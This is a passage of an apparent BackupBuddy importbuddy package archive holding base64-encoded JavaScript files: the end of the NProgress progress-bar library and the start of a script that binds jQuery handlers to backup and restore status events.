gCiAgICAgIGluaXRpYWwrKzsKICAgICAgY3VycmVudCsrOwogICAgICAKICAgICAgJHByb21pc2UuYWx3YXlzKGZ1bmN0aW9uKCkgewogICAgICAgIGN1cnJlbnQtLTsKICAgICAgICBpZiAoY3VycmVudCA9PSAwKSB7CiAgICAgICAgICAgIGluaXRpYWwgPSAwOwogICAgICAgICAgICBOUHJvZ3Jlc3MuZG9uZSgpOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIE5Qcm9ncmVzcy5zZXQoKGluaXRpYWwgLSBjdXJyZW50KSAvIGluaXRpYWwpOwogICAgICAgIH0KICAgICAgfSk7CiAgICAgIAogICAgICByZXR1cm4gdGhpczsKICAgIH07CiAgICAKICB9KSgpOwoKICAvKioKICAgKiAoSW50ZXJuYWwpIHJlbmRlcnMgdGhlIHByb2dyZXNzIGJhciBtYXJrdXAgYmFzZWQgb24gdGhlIGB0ZW1wbGF0ZWAKICAgKiBzZXR0aW5nLgogICAqLwoKICBOUHJvZ3Jlc3MucmVuZGVyID0gZnVuY3Rpb24oZnJvbVN0YXJ0KSB7CiAgICBpZiAoTlByb2dyZXNzLmlzUmVuZGVyZWQoKSkgcmV0dXJuIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCducHJvZ3Jlc3MnKTsKCiAgICBhZGRDbGFzcyhkb2N1bWVudC5kb2N1bWVudEVsZW1lbnQsICducHJvZ3Jlc3MtYnVzeScpOwogICAgCiAgICB2YXIgcHJvZ3Jlc3MgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdkaXYnKTsKICAgIHByb2dyZXNzLmlkID0gJ25wcm9ncmVzcyc7CiAgICBwcm9ncmVzcy5pbm5lckhUTUwgPSBTZXR0aW5ncy50ZW1wbGF0ZTsKCiAgICB2YXIgYmFyICAgICAgPSBwcm9ncmVzcy5xdWVyeVNlbGVjdG9yKFNldHRpbmdzLmJhclNlbGVjdG9yKSwKICAgICAgICBwZXJjICAgICA9IGZyb21TdGFydCA/ICctMTAwJyA6IHRvQmFyUGVyYyhOUHJvZ3Jlc3Muc3RhdHVzIHx8IDApLAogICAgICAgIHNwaW5uZXI7CiAgICAKICAgIGNzcyhiYXIsIHsKICAgICAgdHJhbnNpdGlvbjogJ2FsbCAwIGxpbmVhcicsCiAgICAgIHRyYW5zZm9ybTogJ3RyYW5zbGF0ZTNkKCcgKyBwZXJjICsgJyUsMCwwKScKICAgIH0pOwoKICAgIGlmICghU2V0dGluZ3Muc2hvd1NwaW5uZXIpIHsKICAgICAgc3Bpbm5lciA9IHByb2dyZXNzLnF1ZXJ5U2VsZWN0b3IoU2V0dGluZ3Muc3Bpbm5lclNlbGVjdG9yKTsKICAgICAgc3Bpbm5lciAmJiByZW1vdmVFbGVtZW50KHNwaW5uZXIpOwogICAgfQoKICAgIGRvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQocHJvZ3Jlc3MpOwogICAgcmV0dXJuIHByb2dyZXNzOwogIH07CgogIC8qKgogICAqIFJlbW92ZXMgdGhlIGVsZW1lbnQuIE9wcG9zaXRlIG9mIHJlbmRlcigpLgogICAqLwoKICBOUHJvZ3Jlc3MucmVtb3ZlID0gZnVuY3Rpb24oKSB7CiAgICByZW1vdmVDbGFzcyhkb2N1bWVudC5kb2N1bWVudEVsZW1lbnQsICducHJvZ3Jlc3MtYnVzeScpOwogICAgdmFyIHByb2dyZXNzID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ25wcm9ncmVzcycpOwogICAgcHJvZ3Jlc3MgJiYgcmVtb3ZlRWxlbWVudChwcm9ncmVzcyk7CiAgfTsKCiAgLyoqCiAgICogQ2hlY2tzIGlmIHRoZSBwcm9ncmVzcyBiYXIgaXMgcmVuZGVyZWQuCiAgICovCgogIE5Qcm9ncmVzcy5pc1JlbmRlcmVkID0gZnVuY3Rpb24oKSB7CiAgICByZXR1cm4gISFkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnbnByb2dyZXNzJyk7CiAgfTsKCiAgLyoqCiAgICogRGV0ZXJtaW5lIHdoaWNoIHBvc2l0aW9uaW5nIENTUyBydWxlIHRvIHVzZS4KICAgKi8KCiAgTlByb2dyZXNzLmdldFBvc2l0aW9uaW5nQ1NTID0gZnVuY3Rpb24oKSB7CiAgICAvLyBTbmlmZiBvbiBkb2N1bWVudC5ib2R5LnN0eWxlCiAgICB2YXIgYm9keVN0eWxlID0gZG9jdW1lbnQuYm9keS5zdHlsZTsKCiAgICAvLyBTbmlmZiBwcmVmaXhlcwogICAgdmFyIHZlbmRvclByZWZpeCA9ICgnV2Via2l0VHJhbnNmb3JtJyBpbiBib2R5U3R5bGUpID8gJ1dlYmtpdCcgOgogICAgICAgICAgICAgICAgICAgICAgICgnTW96VHJhbnNmb3JtJyBpbiBib2R5U3R5bGUpID8gJ01veicgOgogICAgICAgICAgICAgICAgICAgICAgICgnbXNUcmFuc2Zvcm0nIGluIGJvZHlTdHlsZSkgPyAnbXMnIDoKICAgICAgICAgICAgICAgICAgICAgICAoJ09UcmFuc2Zvcm0nIGluIGJvZHlTdHlsZSkgPyAnTycgOiAnJzsKCiAgICBpZiAodmVuZG9yUHJlZml4ICsgJ1BlcnNwZWN0aXZlJyBpbiBib2R5U3R5bGUpIHsKICAgICAgLy8gTW9kZXJuIGJyb3dzZXJzIHdpdGggM0Qgc3VwcG9ydCwgZS5nLiBXZWJraXQsIElFMTAKICAgICAgcmV0dXJuICd0cmFuc2xhdGUzZCc7CiAgICB9IGVsc2UgaWYgKHZlbmRvclByZWZpeCArICdUcmFuc2Zvcm0nIGluIGJvZHlTdHlsZSkgewogICAgICAvLyBCcm93c2VycyB3aXRob3V0IDNEIHN1cHBvcnQsIGUuZy4gSUU5CiAgICAgIHJldHVybiAndHJhbnNsYXRlJzsKICAgIH0gZWxzZSB7CiAgICAgIC8vIEJyb3dzZXJzIHdpdGhvdXQgdHJhbnNsYXRlKCkgc3VwcG9ydCwgZS5nLiBJRTctOAogICAgICByZXR1cm4gJ21hcmdpbic7CiAgICB9CiAgfTsKCiAgLyoqCiAgICogSGVscGVycwogICAqLwoKICBmdW5jdGlvbiBjbGFtcChuLCBtaW4sIG1heCkgewogICAgaWYgKG4gPCBtaW4pIHJldHVybiBtaW47CiAgICBpZiAobiA+IG1heCkgcmV0dXJuIG1heDsKICAgIHJldHVybiBuOwogIH0KCiAgLyoqCiAgICogKEludGVybmFsKSBjb252ZXJ0cyBhIHBlcmNlbnRhZ2UgKGAwLi4xYCkgdG8gYSBiYXIgdHJhbnNsYXRlWAogICAqIHBlcmNlbnRhZ2UgKGAtMTAwJS4uMCVgKS4KICAgKi8KCiAgZnVuY3Rpb24gdG9CYXJQZXJjKG4pIHsKICAgIHJldHVybiAoLTEgKyBuKSAqIDEwMDsKICB9CgoKICAvKioKICAgKiAoSW50ZXJuYWwpIHJldHVybnMgdGhlIGNvcnJlY3QgQ1NTIGZvciBjaGFuZ2luZyB0aGUgYmFyJ3MKICAgKiBwb3NpdGlvbiBnaXZlbiBhbiBuIHBlcmNlbnRhZ2UsIGFuZCBzcGVlZCBhbmQgZWFzZSBmcm9tIFNldHRpbmdzCiAgICovCgogIGZ1bmN0aW9uIGJhclBvc2l0aW9uQ1NTKG4sIHNwZWVkLCBlYXNlKSB7CiAgICB2YXIgYmFyQ1NTOwoKICAgIGlmIChTZXR0aW5ncy5wb3NpdGlvblVzaW5nID09PSAndHJhbnNsYXRlM2QnKSB7CiAgICAgIGJhckNTUyA9IHsgdHJhbnNmb3JtOiAndHJhbnNsYXRlM2QoJyt0b0JhclBlcmMobikrJyUsMCwwKScgfTsKICAgIH0gZWxzZSBpZiAoU2V0dGluZ3MucG9zaXRpb25Vc2luZyA9PT0gJ3RyYW5zbGF0ZScpIHsKICAgICAgYmFyQ1NTID0geyB0cmFuc2Zvcm06ICd0cmFuc2xhdGUoJyt0b0JhclBlcmMobikrJyUsMCknIH07CiAgICB9IGVsc2UgewogICAgICBiYXJDU1MgPSB7ICdtYXJnaW4tbGVmdCc6IHRvQmFyUGVyYyhuKSsnJScgfTsKICAgIH0KCiAgICBiYXJDU1MudHJhbnNpdGlvbiA9ICdhbGwgJytzcGVlZCsnbXMgJytlYXNlOwoKICAgIHJldHVybiBiYXJDU1M7CiAgfQoKICAvKioKICAgKiAoSW50ZXJuYWwpIFF1ZXVlcyBhIGZ1bmN0aW9uIHRvIGJlIGV4ZWN1dGVkLgogICAqLwoKICB2YXIgcXVldWUgPSAoZnVuY3Rpb24oKSB7CiAgICB2YXIgcGVuZGluZyA9IFtdOwogICAgCiAgICBmdW5jdGlvbiBuZXh0KCkgewogICAgICB2YXIgZm4gPSBwZW5kaW5nLnNoaWZ0KCk7CiAgICAgIGlmIChmbikgewogICAgICAgIGZuKG5leHQpOwogICAgICB9CiAgICB9CgogICAgcmV0dXJuIGZ1bmN0aW9uKGZuKSB7CiAgICAgIHBlbmRpbmcucHVzaChmbik7CiAgICAgIGlmIChwZW5kaW5nLmxlbmd0aCA9PSAxKSBuZXh0KCk7CiAgICB9OwogIH0pKCk7CgogIC8qKgogICAqIChJbnRlcm5hbCkgQXBwbGllcyBjc3MgcHJvcGVydGllcyB0byBhbiBlbGVtZW50LCBzaW1pbGFyIHRvIHRoZSBqUXVlcnkgCiAgICogY3NzIG1ldGhvZC4KICAgKgogICAqIFdoaWxlIHRoaXMgaGVscGVyIGRvZXMgYXNzaXN0IHdpdGggdmVuZG9yIHByZWZpeGVkIHByb3BlcnR5IG5hbWVzLCBpdCAKICAgKiBkb2VzIG5vdCBwZXJmb3JtIGFueSBtYW5pcHVsYXRpb24gb2YgdmFsdWVzIHByaW9yIHRvIHNldHRpbmcgc3R5bGVzLgogICAqLwoKICB2YXIgY3NzID0gKGZ1bmN0aW9uKCkgewogICAgdmFyIGNzc1ByZWZpeGVzID0gWyAnV2Via2l0JywgJ08nLCAnTW96JywgJ21zJyBdLAogICAgICAgIGNzc1Byb3BzICAgID0ge307CgogICAgZnVuY3Rpb24gY2FtZWxDYXNlKHN0cmluZykgewogICAgICByZXR1cm4gc3RyaW5nLnJlcGxhY2UoL14tbXMtLywgJ21zLScpLnJlcGxhY2UoLy0oW1xkYS16XSkvZ2ksIGZ1bmN0aW9uKG1hdGNoLCBsZXR0ZXIpIHsKICAgICAgICByZXR1cm4gbGV0dGVyLnRvVXBwZXJDYXNlKCk7CiAgICAgIH0pOwogICAgfQoKICAgIGZ1bmN0aW9uIGdldFZlbmRvclByb3AobmFtZSkgewogICAgICB2YXIgc3R5bGUgPSBkb2N1bWVudC5ib2R5LnN0eWxlOwogICAgICBpZiAobmFtZSBpbiBzdHlsZSkgcmV0dXJuIG5hbWU7CgogICAgICB2YXIgaSA9IGNzc1ByZWZpeGVzLmxlbmd0aCwKICAgICAgICAgIGNhcE5hbWUgPSBuYW1lLmNoYXJBdCgwKS50b1VwcGVyQ2FzZSgpICsgbmFtZS5zbGljZSgxKSwKICAgICAgICAgIHZlbmRvck5hbWU7CiAgICAgIHdoaWxlIChpLS0pIHsKICAgICAgICB2ZW5kb3JOYW1lID0gY3NzUHJlZml4ZXNbaV0gKyBjYXBOYW1lOwogICAgICAgIGlmICh2ZW5kb3JOYW1lIGluIHN0eWxlKSByZXR1cm4gdmVuZG9yTmFtZTsKICAgICAgfQoKICAgICAgcmV0dXJuIG5hbWU7CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0U3R5bGVQcm9wKG5hbWUpIHsKICAgICAgbmFtZSA9IGNhbWVsQ2FzZShuYW1lKTsKICAgICAgcmV0dXJuIGNzc1Byb3BzW25hbWVdIHx8IChjc3NQcm9wc1tuYW1lXSA9IGdldFZlbmRvclByb3AobmFtZSkpOwogICAgfQoKICAgIGZ1bmN0aW9uIGFwcGx5Q3NzKGVsZW1lbnQsIHByb3AsIHZhbHVlKSB7CiAgICAgIHByb3AgPSBnZXRTdHlsZVByb3AocHJvcCk7CiAgICAgIGVsZW1lbnQuc3R5bGVbcHJvcF0gPSB2YWx1ZTsKICAgIH0KCiAgICByZXR1cm4gZnVuY3Rpb24oZWxlbWVudCwgcHJvcGVydGllcykgewogICAgICB2YXIgYXJncyA9IGFyZ3VtZW50cywKICAgICAgICAgIHByb3AsIAogICAgICAgICAgdmFsdWU7CgogICAgICBpZiAoYXJncy5sZW5ndGggPT0gMikgewogICAgICAgIGZvciAocHJvcCBpbiBwcm9wZXJ0aWVzKSB7CiAgICAgICAgICB2YWx1ZSA9IHByb3BlcnRpZXNbcHJvcF07CiAgICAgICAgICBpZiAodmFsdWUgIT09IHVuZGVmaW5lZCAmJiBwcm9wZXJ0aWVzLmhhc093blByb3BlcnR5KHByb3ApKSBhcHBseUNzcyhlbGVtZW50LCBwcm9wLCB2YWx1ZSk7CiAgICAgICAgfQogICAgICB9IGVsc2UgewogICAgICAgIGFwcGx5Q3NzKGVsZW1lbnQsIGFyZ3NbMV0sIGFyZ3NbMl0pOwogICAgICB9CiAgICB9CiAgfSkoKTsKCiAgLyoqCiAgICogKEludGVybmFsKSBEZXRlcm1pbmVzIGlmIGFuIGVsZW1lbnQgb3Igc3BhY2Ugc2VwYXJhdGVkIGxpc3Qgb2YgY2xhc3MgbmFtZXMgY29udGFpbnMgYSBjbGFzcyBuYW1lLgogICAqLwoKICBmdW5jdGlvbiBoYXNDbGFzcyhlbGVtZW50LCBuYW1lKSB7CiAgICB2YXIgbGlzdCA9IHR5cGVvZiBlbGVtZW50ID09ICdzdHJpbmcnID8gZWxlbWVudCA6IGNsYXNzTGlzdChlbGVtZW50KTsKICAgIHJldHVybiBsaXN0LmluZGV4T2YoJyAnICsgbmFtZSArICcgJykgPj0gMDsKICB9CgogIC8qKgogICAqIChJbnRlcm5hbCkgQWRkcyBhIGNsYXNzIHRvIGFuIGVsZW1lbnQuCiAgICovCgogIGZ1bmN0aW9uIGFkZENsYXNzKGVsZW1lbnQsIG5hbWUpIHsKICAgIHZhciBvbGRMaXN0ID0gY2xhc3NMaXN0KGVsZW1lbnQpLAogICAgICAgIG5ld0xpc3QgPSBvbGRMaXN0ICsgbmFtZTsKCiAgICBpZiAoaGFzQ2xhc3Mob2xkTGlzdCwgbmFtZSkpIHJldHVybjsgCgogICAgLy8gVHJpbSB0aGUgb3BlbmluZyBzcGFjZS4KICAgIGVsZW1lbnQuY2xhc3NOYW1lID0gbmV3TGlzdC5zdWJzdHJpbmcoMSk7CiAgfQoKICAvKioKICAgKiAoSW50ZXJuYWwpIFJlbW92ZXMgYSBjbGFzcyBmcm9tIGFuIGVsZW1lbnQuCiAgICovCgogIGZ1bmN0aW9uIHJlbW92ZUNsYXNzKGVsZW1lbnQsIG5hbWUpIHsKICAgIHZhciBvbGRMaXN0ID0gY2xhc3NMaXN0KGVsZW1lbnQpLAogICAgICAgIG5ld0xpc3Q7CgogICAgaWYgKCFoYXNDbGFzcyhlbGVtZW50LCBuYW1lKSkgcmV0dXJuOwoKICAgIC8vIFJlcGxhY2UgdGhlIGNsYXNzIG5hbWUuCiAgICBuZXdMaXN0ID0gb2xkTGlzdC5yZXBsYWNlKCcgJyArIG5hbWUgKyAnICcsICcgJyk7CgogICAgLy8gVHJpbSB0aGUgb3BlbmluZyBhbmQgY2xvc2luZyBzcGFjZXMuCiAgICBlbGVtZW50LmNsYXNzTmFtZSA9IG5ld0xpc3Quc3Vic3RyaW5nKDEsIG5ld0xpc3QubGVuZ3RoIC0gMSk7CiAgfQoKICAvKioKICAgKiAoSW50ZXJuYWwpIEdldHMgYSBzcGFjZSBzZXBhcmF0ZWQgbGlzdCBvZiB0aGUgY2xhc3MgbmFtZXMgb24gdGhlIGVsZW1lbnQuIAogICAqIFRoZSBsaXN0IGlzIHdyYXBwZWQgd2l0aCBhIHNpbmdsZSBzcGFjZSBvbiBlYWNoIGVuZCB0byBmYWNpbGl0YXRlIGZpbmRpbmcgCiAgICogbWF0Y2hlcyB3aXRoaW4gdGhlIGxpc3QuCiAgICovCgogIGZ1bmN0aW9uIGNsYXNzTGlzdChlbGVtZW50KSB7CiAgICByZXR1cm4gKCcgJyArIChlbGVtZW50LmNsYXNzTmFtZSB8fCAnJykgKyAnICcpLnJlcGxhY2UoL1xzKy9naSwgJyAnKTsKICB9CgogIC8qKgogICAqIChJbnRlcm5hbCkgUmVtb3ZlcyBhbiBlbGVtZW50IGZyb20gdGhlIERPTS4KICAgKi8KCiAgZnVuY3Rpb24gcmVtb3ZlRWxlbWVudChlbGVtZW50KSB7CiAgICBlbGVtZW50ICYmIGVsZW1lbnQucGFyZW50Tm9kZSAmJiBlbGVtZW50LnBhcmVudE5vZGUucmVtb3ZlQ2hpbGQoZWxlbWVudCk7CiAgfQoKICByZXR1cm4gTlByb2dyZXNzOwp9KTsK
###PACKDATA,FILE_END,/_importbuddy/importbuddy/js/nprogress.js,importbuddy/js/nprogress.js
###PACKDATA,FILE_START,/_importbuddy/importbuddy/js/restoreEvents.js,importbuddy/js/restoreEvents.js
ZnVuY3Rpb24gaW1wb3J0YnVkZHlfbG9hZFJlc3RvcmVFdmVudHMoKSB7CgkKCQoJLy8gVXBkYXRlIHN0YXR1cyBsb2cgZGV0YWlscywgbWVzc2FnZXMsIG9yIGVycm9ycy4KCWpRdWVyeSgnI2JhY2t1cGJ1ZGR5X21lc3NhZ2VzJykuYmluZCgnYmFja3VwYnVkZHlfZGV0YWlscyBiYWNrdXBidWRkeV9tZXNzYWdlIGJhY2t1cGJ1ZGR5X2Vycm9yIGJhY2t1cGJ1ZGR5X3dhcm5pbmcnLCBmdW5jdGlvbihlLCBqc29uKSB7CgkJY2xhc3NUeXBlID0gJyc7CgkJCgkJaWYgKCAnYmFja3VwYnVkZHlfZXJyb3InID09IGUudHlwZSApIHsKCQkJanNvbi5kYXRhID0gYmFja3VwYnVkZHlFcnJvcigganNvbi5kYXRhICk7CgkJCWNsYXNzVHlwZSA9ICdlcnJvcic7CgkJfQoJCWlmICggJ2JhY2t1cGJ1ZGR5X3dhcm5pbmcnID09IGUudHlwZSApIHsKCQkJanNvbi5kYXRhID0gYmFja3VwYnVkZHlXYXJuaW5nKCBqc29uLmRhdGEgKTsKCQkJY2xhc3NUeXBlID0gJ3dhcm5pbmcnOwoJCX0KCQoJCWJhY2t1cGJ1ZGR5X2xvZygganNvbiwgY2xhc3NUeXBlICk7Cgl9KTsKCQoJCgkKCQoJLy8gQSBiYWNrdXAgZnVuY3Rpb24gKHN0ZXApIGJlZ2FuLgoJalF1ZXJ5KCcjYmFja3VwYnVkZHlfbWVzc2FnZXMnKS5iaW5kKCAnYmFja3VwYnVkZHlfc3RhcnRGdW5jdGlvbicsIGZ1bmN0aW9uKGUsIGpzb24pIHsKCQlmdW5jdGlvbkluZm8gPSBqUXVlcnkucGFyc2VKU09OKGpzb24uZGF0YSApOwoJCWh0bWwgPSAnPGRpdiBjbGFzcz0iYmFja3VwLXN0ZXAgYmFja3VwLXN0ZXAtcHJpbWFyeSBiYWNrdXAtZnVuY3Rpb24tJyArIGZ1bmN0aW9uSW5mby5mdW5jdGlvbiArICciPjxzcGFuIGNsYXNzPSJiYWNrdXAtc3RlcC1zdGF0dXMgYmFja3VwLXN0ZXAtc3RhdHVzLXdvcmtpbmciPjwvc3Bhbj48c3BhbiBjbGFzcz0iYmFja3VwLXN0ZXAtdGl0bGUiPicgKyBmdW5jdGlvbkluZm8udGl0bGUgKyAnPC9zcGFuPjwvZGl2Pic7CgkJalF1ZXJ5KCAnLmJhY2t1cC1zdGVwcycgKS5hcHBlbmQoIGh0bWwgKTsKCQlpZiAoICcnICE9PSBiYWNrdXBidWRkeV9jdXJyZW50RnVuY3Rpb24gKSB7CgkJCWJhY2t1cGJ1ZGR5X2xvZyggJ1dhcm5pbmcgIzIzNzgzMmE6IEEgZnVuY3Rpb24gYCcgKyBmdW5jdGlvbkluZm8uZnVuY3Rpb24gKyAnYCBzdGFydGVkIGJlZm9yZSBhIHByaW9yIGZ1bmN0aW9uIGAnICsgYmFja3VwYnVkZHlfY3VycmVudEZ1bmN0aW9uICsgJ2Agd2FzIGNvbXBsZXRlZC4nICk7CgkJfQoJCWJhY2t1cGJ1ZGR5X2N1cnJlbnRGdW5jdGlvbiA9IGZ1bmN0aW9uSW5mby5mdW5jdGlvbjsKCX0pOwoJCgkKCS8vIEEgYmFja3VwIGZ1bmN0aW9uIChzdGVwKSBmaW5pc2hlZC4KCWpRdWVyeSgnI2JhY2t1cGJ1ZGR5X21lc3NhZ2VzJykuYmluZCggJ2JhY2t1cGJ1ZGR5X2ZpbmlzaEZ1bmN0aW9uJywgZnVuY3Rpb24oZSwganNvbikgewoJCWZ1bmN0aW9uSW5mbyA9IGpRdWVyeS5wYXJzZUpTT04oIGpzb24uZGF0YSApOwoJCWpRdWVyeSggJy5iYWNrdXAtZnVuY3Rpb24tJyArIGZ1bmN0aW9uSW5mby5mdW5jdGlvbiApLmZpbmQoICcuYmFja3VwLXN0ZXAtc3RhdHVzLXdvcmtpbmcnICkucmVtb3ZlQ2xhc3MoICdiYWNrdXAtc3RlcC1zdGF0dXMtd29ya2luZycgKS5hZGRDbGFzcyggJ2JhY2t1cC1zdGVwLXN0YXR1cy1maW5pc2hlZCcgKTsKCQlpZiAoIGZ1bmN0aW9uSW5mby5mdW5jdGlvbiAhPT0gYmFja3VwYnVkZHlfY3VycmVudEZ1bmN0aW9uICkgewoJCQliYWNrdXBidWRkeV9sb2coICdXYXJuaW5nICMyMzc4MzJiOiBBIGZ1bmN0aW9uIGAnICsgZnVuY3Rpb25JbmZvLmZ1bmN0aW9uICsgJ2AgY29tcGxldGVkIHRoYXQgZG9lcyBub3QgbWF0Y2ggdGhlIGZ1bmN0aW9uIHdoaWNoIHdhcyB0aG91Z2h0IHRvIGJlIHJ1bm5pbmcgYCcgKyBiYWNrdXBidWRkeV9jdXJyZW50RnVuY3Rpb24gKyAnYC4nICk7CgkJfQoJCWJhY2t1cGJ1ZGR5X2N1cnJlbnRGdW5jdGlvbiA9ICcnOwoJfSk7CgkKCQoJLy8gVHJhY2sgbWlub3IgZXZlbnRzIHNvIHdlIGNhbiBkZXRlY3QgY2VydGFpbiB0aGluZ3Mgbm90IGZpbmlzaGluZywgc3VjaCBhcyBpbXBvcnRidWRkeSBnZW5lcmF0aW9uLgoJalF1ZXJ5KCcjYmFja3VwYnVkZHlfbWVzc2FnZXMnKS5iaW5kKCAnYmFja3VwYnVkZHlfc3RhcnRBY3Rpb24nLCBmdW5jdGlvbihlLCBqc29uKSB7CgkJY29uc29sZS5sb2coICdTdGFydGluZyBhY3Rpb246ICcgKyBqc29uLmRhdGEgKTsKCQlpZiAoICcnICE9PSBiYWNrdXBidWRkeV9jdXJyZW50QWN0aW9uICkgewoJCQliYWNrdXBidWRkeV9sb2coICdXYXJuaW5nICMzMjc4Mzc0YTogQW4gYWN0aW9uIGAnICsganNvbi5kYXRhICsgJ2Agc3RhcnRlZCBiZWZvcmUgYSBwcmlvciBhY3Rpb24gYCcgKyBiYWNrdXBidWRkeV9jdXJyZW50QWN0aW9uICsgJ2Agd2FzIGNvbXBsZXRlZC4nICk7CgkJfQoJCWJhY2t1cGJ1ZGR5X2N1cnJlbnRBY3Rpb24gPSBqc29uLmRhdGE7CgkJYmFja3VwYnVkZHlfY3VycmVudEFjdGlvblN0YXJ0ID0gdW5peF90aW1lc3RhbXAoKTsKCQliYWNrdXBidWRkeV9jdXJyZW50QWN0aW9uTGFzdFdhcm4gPSAwOwoJfSk7CgkKCQoJalF1ZXJ5KCcjYmFja3VwYnVkZHlfbWVzc2FnZXMnKS5iaW5kKCAnYmFja3VwYnVkZHlfZmluaXNoQWN0aW9uJywgZnVuY3Rpb24oZSwganNvbikgewoJCWNvbnNvbGUubG9nKCAnRmluaXNoaW5nIGFjdGlvbjogJyArIGpzb24uZGF0YSApOwoJCWlmICgganNvbi5kYXRhICE9PSBiYWNrdXBidWRkeV9jdXJyZW50QWN0aW9uICkgewoJCQliYWNrdXBidWRkeV9sb2coICdXYXJuaW5nICMzMjc4Mzc0YjogQW4gYWN0aW9uIGAnICsganNvbi5kYXRhICsgJ2AgY29tcGxldGVkIHRoYXQgZG9lcyBub3QgbWF0Y2ggdGhlIGFjdGlvbiBgJyArIGJhY2t1cGJ1ZGR5X2N1cnJlbnRBY3Rpb24gKyAnYCB3aGljaCB3YXMgdGhvdWdodCB0byBiZSBydW5uaW5nLicgKTsKCQl9CgkJYmFja3VwYnVkZHlfY3VycmVudEFjdGlvbiA9ICcnOwoJCWJhY2t1cGJ1ZGR5X2N1cnJlbnRBY3Rpb25TdGFydCA9IDA7CgkJYmFja3VwYnVkZHlfY3VycmVudEFjdGlvbkxhc3RXYXJuID0gMDsKCX0pOwoJCgkKCQoJCgkvLyBBbiBlcnJvciB3YXMgZW5jb3VudGVyZWQgcnVubmluZyBhIGZ1bmN0aW9uLgoJalF1ZXJ5KCcjYmFja3VwYnVkZHlfbWVzc2FnZXMnKS5iaW5kKCAnYmFja3VwYnVkZHlfZXJyb3JGdW5jdGlvbicsIGZ1bmN0aW9uKGUsIGpzb24pIHsKCQlqUXVlcnkoICcuYmFja3VwLWZ1bmN0aW9uLScgKyBqc29uLmRhdGEgKS5maW5kKCAnLmJhY2t1cC1zdGVwLXN0YXR1cy13b3JraW5nJyApLnJlbW92ZUNsYXNzKCAnYmFja3VwLXN0ZXAtc3RhdHVzLXdvcmtpbmcnICkuYWRkQ2xhc3MoICdiYWNrdXAtc3RlcC1zdGF0dXMtZXJyb3InICk7Cgl9KTsKCQoJCgkvLyBTdGFydCBhIHN1YmZ1bmN0aW9uLiBUaGVzZSBhcmUgdHlwaWNhbGx5IG1vcmUgbWlub3IsIHRob3VnaCBzdGlsbCBub3RhYmxlLCBldmVudHMuCglqUXVlcnkoJyNiYWNrdXBidWRkeV9tZXNzYWdlcycpLmJpbmQoICdiYWNrdXBidWRkeV9zdGFydFN1YkZ1bmN0aW9uJywgZnVuY3Rpb24oZSwganNvbikgewoJCWZ1bmN0aW9uSW5mbyA9IGpRdWVyeS5wYXJzZUpTT04oanNvbi5kYXRhICk7CgkJaHRtbCA9ICc8ZGl2IGNsYXNzPSJiYWNrdXAtc3RlcCBiYWNrdXAtc3RlcC1zZWNvbmRhcnkgYmFja3VwLWZ1bmN0aW9uLScgKyBmdW5jdGlvbkluZm8uZnVuY3Rpb24gKyAnIj48c3BhbiBjbGFzcz0iYmFja3VwLXN0ZXAtc3RhdHVzIj48L3NwYW4+PHNwYW4gY2xhc3M9ImJhY2t1cC1zdGVwLXRpdGxlIj4nICsgZnVuY3Rpb25JbmZvLnRpdGxlICsgJzwvc3Bhbj48L2Rpdj4nOwoJCWpRdWVyeSggJy5iYWNrdXAtc3RlcHMnICkuYXBwZW5kKCBodG1sICk7Cgl9KTsKCQoJCgkKCS8vIEFuIGVycm9yIG1lc3NhZ2Ugd2FzIHNlbnQgZnJvbSB0aGUgc2VydmVyLgoJalF1ZXJ5KCcjYmFja3VwYnVkZHlfbWVzc2FnZXMnKS5iaW5kKCAnYmFja3VwYnVkZHlfZXJyb3InLCBmdW5jdGlvbihlLCBqc29uKSB7CgkJY29uc29sZS5sb2coICdCQUNLVVBCVUREWSBFUlJPUjogJyArIGpzb24uZGF0YSApOwoJfSk7CgkKCS8vdmFyIGJhY2t1cGJ1ZGR5X2FjdGlvbnMgPSBbXTsKCQoJCgkKCQoJCgkvLyBBIHdhcm5pbmcgbWVzc2FnZSB3YXMgc2VudCBmcm9tIHRoZSBzZXJ2ZXIuCglqUXVlcnkoJyNiYWNrdXBidWRkeV9tZXNzYWdlcycpLmJpbmQoICdiYWNrdXBidWRkeV93YXJuaW5nJywgZnVuY3Rpb24oZSwganNvbikgewoJCWh0bWwgPSAnPHNwYW4gY2xhc3M9ImJhY2t1cC1zdGVwLXN0YXR1cyBiYWNrdXAtc3RlcC1zdGF0dXMtd2FybmluZyI+PC9zcGFuPjxkaXYgY2xhc3M9ImJhY2t1cC1zdGVwIGJhY2t1cC1zdGVwLXNlY29uZGFyeSI+PHNwYW4gY2xhc3M9ImJhY2t1cC1zdGVwLXRpdGxlIj4nICsganNvbi5kYXRhICsgJzwvc3Bhbj48L2Rpdj4nOwoJCWpRdWVyeSggJy5iYWNrdXAtc3RlcHMnICkuYXBwZW5kKCBodG1sICk7Cgl9KTsKCQoJCgkvLyBUaGUgZW50aXJlIGJhY2t1cCBwcm9jZXNzIGhhcyBiZWVuIGhhbHRlZCwgd2hldGhlciBieSBCYWNrdXBCdWRkeSBvciB0aGUgdXNlci4KCWpRdWVyeSgnI2JhY2t1cGJ1ZGR5X21lc3NhZ2VzJykuYmluZCggJ2JhY2t1cGJ1ZGR5X2hhbHRTY3JpcHQnLCBmdW5jdGlvbihlLCBqc29uKSB7CgkKCQlpZiAoIDAgPT09IGtlZXBfcG9sbGluZyApIHsgLy8gT25seSBzaG93IG9uY2UuCgkJCXJldHVybjsKCQl9CgkKCQlrZWVwX3BvbGxpbmcgPSAwOyAvLyBTdG9wIHBvbGxpbmcgc2VydmVyIGZvciBzdGF0dXMgdXBkYXRlcy4KCQoJCWpRdWVyeSggJy5iYWNrdXAtc3RlcC1zdGF0dXMtd29ya2luZycgKS5yZW1vdmVDbGFzcyggJ2JhY2t1cC1zdGVwLXN0YXR1cy13b3JraW5nJyApLmFkZENsYXNzKCAnYmFja3VwLXN0ZXAtc3RhdHVzLWVycm9yJyApOyAvLyBBbnl0aGluZyB0aGF0IHdhcyBjdXJyZW50bHkgcnVubmluZyB0dXJucyBpbnRvIGFuIGVycm9yLgoJCWpRdWVyeSggJyNwYl9iYWNrdXBidWRkeV9zdG9wJyApLmNzcyggJ3Zpc2liaWxpdHknLCAnaGlkZGVuJyApOwoJCWpRdWVyeSggJy5wYl